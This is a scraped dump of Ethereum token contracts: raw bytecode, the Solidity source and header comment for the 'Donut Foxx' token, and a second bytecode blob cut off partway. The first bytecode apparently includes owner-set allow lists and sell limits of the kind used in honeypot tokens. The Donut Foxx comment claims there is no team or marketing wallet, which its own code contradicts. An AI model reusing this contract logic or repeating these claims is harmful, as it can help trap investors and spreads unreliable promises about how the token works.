0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063540410e511610097578063a9059cbb11610066578063a9059cbb146104c7578063b952390d1461052d578063ba03cda514610686578063dd62ed3e146106d7576100f5565b8063540410e51461035557806370a082311461038657806395d89b41146103de578063a457c2d714610461576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce5671461028757806339509351146102ab578063438dd08714610311576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261074f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f1565b604051808215151515815260200191505060405180910390f35b6101eb61080f565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610819565b604051808215151515815260200191505060405180910390f35b61028f6108f2565b604051808260ff1660ff16815260200191505060405180910390f35b6102f7600480360360408110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610909565b604051808215151515815260200191505060405180910390f35b6103536004803603602081101561032757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109bc565b005b6103846004803603602081101561036b57600080fd5b81019080803560ff169060200190929190505050610ac3565b005b6103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ba7565b6040518082815260200191505060405180910390f35b6103e6610bef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042657808201518184015260208101905061040b565b50505050905090810190601f1680156104535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ad6004803603604081101561047757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c91565b604051808215151515815260200191505060405180910390f35b610513600480360360408110156104dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5e565b604051808215151515815260200191505060405180910390f35b6106846004803603606081101561054357600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561056d57600080fd5b82018360208201111561057f57600080fd5b803590602001918460208302840111640100000000831117156105a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561060157600080fd5b82018360208201111561061357600080fd5b8035906020019184602083028401116401000000008311171561063557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d7c565b005b6106d56004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610edf565b005b610739600480360360408110156106ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e75780601f106107bc576101008083540402835291602001916107e7565b820191906000526020600020905b8154815290600101906020018083116107ca57829003601f168201915b5050505050905090565b60006108056107fe6110ef565b84846110f7565b6001905092915050565b6000600354905090565b60006108268484846112ee565b6108e7846108326110ef565b6108e285604051806060016040528060288152602001611bbd60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108986110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006109b26109166110ef565b846109ad85600160006109276110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6110f7565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b670de0b6b3a76400008160ff160267ffffffffffffffff1660098190555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c875780601f10610c5c57610100808354040283529160200191610c87565b820191906000526020600020905b815481529060010190602001808311610c6a57829003601f168201915b5050505050905090565b6000610d54610c9e6110ef565b84610d4f85604051806060016040528060258152602001611c2e6025913960016000610cc86110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b6001905092915050565b6000610d72610d6b6110ef565b84846112ee565b6001905092915050565b60008090505b8251811015610ed957600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610ecc57610e11838281518110610df057fe5b6020026020010151838381518110610e0457fe5b6020026020010151610d5e565b508360ff16811015610ecb57600160086000858481518110610e2f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610eca838281518110610e9757fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546110f7565b5b5b8080600101915050610d82565b50505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008160ff16111561100b576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611064565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611c0a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611203576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611b756022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561139d5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114195750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611426575060095481115b1561157e57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114d45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806115285750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61157d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561164a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156116915781600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611740576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156117c6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561184c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611b526023913960400191505060405180910390fd5b611857868686611b4c565b6118c284604051806060016040528060268152602001611b97602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611955846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b6000838311158290611ab1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a76578082015181840152602081019050611a5b565b50505050905090810190601f168015611aa35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611b42576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212204077a5fcb2270fc0445f8a506d90096508d496742c14af777e0579c37f31ff5f64736f6c63430006060033
{"success": true, "error": null, "results": {}}
10,485
0xadd723ac50d11eed352e60e873cc089fbbefb9d8
/* https://t.me/DonutfoxxOfficial With a dynamic sell limit based on price impact and increasing sell cooldowns and redistribution taxes on consecutive sells 1. Buy limit and cooldown timer on buys to make sure no automated bots have a chance to snipe big portions of the pool. 2. No Team & Marketing wallet. 100% of the tokens will come on the market for trade. 3. No presale wallets that can dump on the community. Token Information 1. 1,000,000,000,000 Total Supply 3. Dev team has provided liquidity 4. Fair launch for everyone! 5. 2% transaction limit on launch 6. Buy limit lifted 5 miinutes after launch 7. Sells limited to 10% of the Liquidity Pool 8. Sell cooldown increases on consecutive sells, 4 sells within a 24 hours period are allowed 9. 2% redistribution to holders on all buys 10. 7% redistribution to holders on the first sell, increases 2x, 3x, 4x on consecutive sells 11. Redistribution actually works! 12. 5-6% developer fee split within the team */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); } contract DONUTFOXX is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = unicode"Donut Foxx"; string private constant _symbol = "Foxx \xF0\x9F\x8D\xA9"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 7; uint256 private _teamFee = 5; mapping(address => bool) private bots; mapping(address => uint256) private buycooldown; mapping(address => uint256) private sellcooldown; mapping(address => uint256) private firstsell; mapping(address => uint256) private sellnumber; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen = false; bool private liquidityAdded = false; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require(rAmount <= _rTotal,"Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 7; _teamFee = 5; } function setFee(uint256 multiplier) private { _taxFee = _taxFee * multiplier; if (multiplier > 1) { _teamFee = 10; } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) { require(tradingOpen); require(amount <= _maxTxAmount); require(buycooldown[to] < block.timestamp); buycooldown[to] = block.timestamp + (30 seconds); _teamFee = 6; _taxFee = 2; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { require(amount <= balanceOf(uniswapV2Pair).mul(3).div(100) && amount <= _maxTxAmount); require(sellcooldown[from] < block.timestamp); if(firstsell[from] + (1 days) < block.timestamp){ sellnumber[from] = 0; } if (sellnumber[from] == 0) { sellnumber[from]++; firstsell[from] = block.timestamp; sellcooldown[from] = block.timestamp + (1 hours); } else if (sellnumber[from] == 1) { sellnumber[from]++; sellcooldown[from] = block.timestamp + (2 hours); } else if (sellnumber[from] == 2) { sellnumber[from]++; sellcooldown[from] = block.timestamp + (6 hours); } else if (sellnumber[from] == 3) { sellnumber[from]++; sellcooldown[from] = firstsell[from] + (1 days); } swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } setFee(sellnumber[from]); } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); restoreAllFee; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() public onlyOwner { require(liquidityAdded); tradingOpen = true; } function addLiquidity() external onlyOwner() { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; liquidityAdded = true; _maxTxAmount = 3000000000 * 10**9; IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(teamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x6080604052600436106101025760003560e01c8063715018a611610095578063c3c8cd8011610064578063c3c8cd8014610330578063c9567bf914610347578063d543dbeb1461035e578063dd62ed3e14610387578063e8078d94146103c457610109565b8063715018a6146102865780638da5cb5b1461029d57806395d89b41146102c8578063a9059cbb146102f357610109565b8063313ce567116100d1578063313ce567146101de5780635932ead1146102095780636fc3eaec1461023257806370a082311461024957610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103db565b6040516101309190613213565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b9190612d9a565b610418565b60405161016d91906131f8565b60405180910390f35b34801561018257600080fd5b5061018b610436565b6040516101989190613395565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612d4b565b610447565b6040516101d591906131f8565b60405180910390f35b3480156101ea57600080fd5b506101f3610520565b604051610200919061340a565b60405180910390f35b34801561021557600080fd5b50610230600480360381019061022b9190612dd6565b610529565b005b34801561023e57600080fd5b506102476105db565b005b34801561025557600080fd5b50610270600480360381019061026b9190612cbd565b61064d565b60405161027d9190613395565b60405180910390f35b34801561029257600080fd5b5061029b61069e565b005b3480156102a957600080fd5b506102b26107f1565b6040516102bf919061312a565b60405180910390f35b3480156102d457600080fd5b506102dd61081a565b6040516102ea9190613213565b60405180910390f35b3480156102ff57600080fd5b5061031a60048036038101906103159190612d9a565b610857565b60405161032791906131f8565b60405180910390f35b34801561033c57600080fd5b50610345610875565b005b34801561035357600080fd5b5061035c6108ef565b005b34801561036a57600080fd5b5061038560048036038101906103809190612e28565b6109ba565b005b34801561039357600080fd5b506103ae60048036038101906103a99190612d0f565b610b03565b6040516103bb9190613395565b60405180910390f35b3480156103d057600080fd5b506103d9610b8a565b005b60606040518060400160405280600a81526020017f446f6e757420466f787800000000000000000000000000000000000000000000815250905090565b600061042c610425611096565b848461109e565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610454848484611269565b61051584610460611096565b610510856040518060600160405280602881526020016139f460289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104c6611096565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120399092919063ffffffff16565b61109e565b600190509392505050565b60006009905090565b610531611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105b5906132f5565b60405180910390fd5b80601260186101000a81548160ff02191690831515021790555050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661061c611096565b73ffffffffffffffffffffffffffffffffffffffff161461063c57600080fd5b600047905061064a8161209d565b50565b6000610697600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612198565b9050919050565b6106a6611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610733576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072a906132f5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f466f787820f09f8da90000000000000000000000000000000000000000000000815250905090565b600061086b610864611096565b8484611269565b6001905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108b6611096565b73ffffffffffffffffffffffffffffffffffffffff16146108d657600080fd5b60006108e13061064d565b90506108ec81612206565b50565b6108f7611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610984576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097b906132f5565b60405180910390fd5b601260159054906101000a900460ff1661099d57600080fd5b6001601260146101000a81548160ff021916908315150217905550565b6109c2611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a46906132f5565b60405180910390fd5b60008111610a92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a89906132b5565b60405180910390fd5b610ac16064610ab383683635c9adc5dea0000061250090919063ffffffff16565b61257b90919063ffffffff16565b6013819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601354604051610af89190613395565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610b92611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffff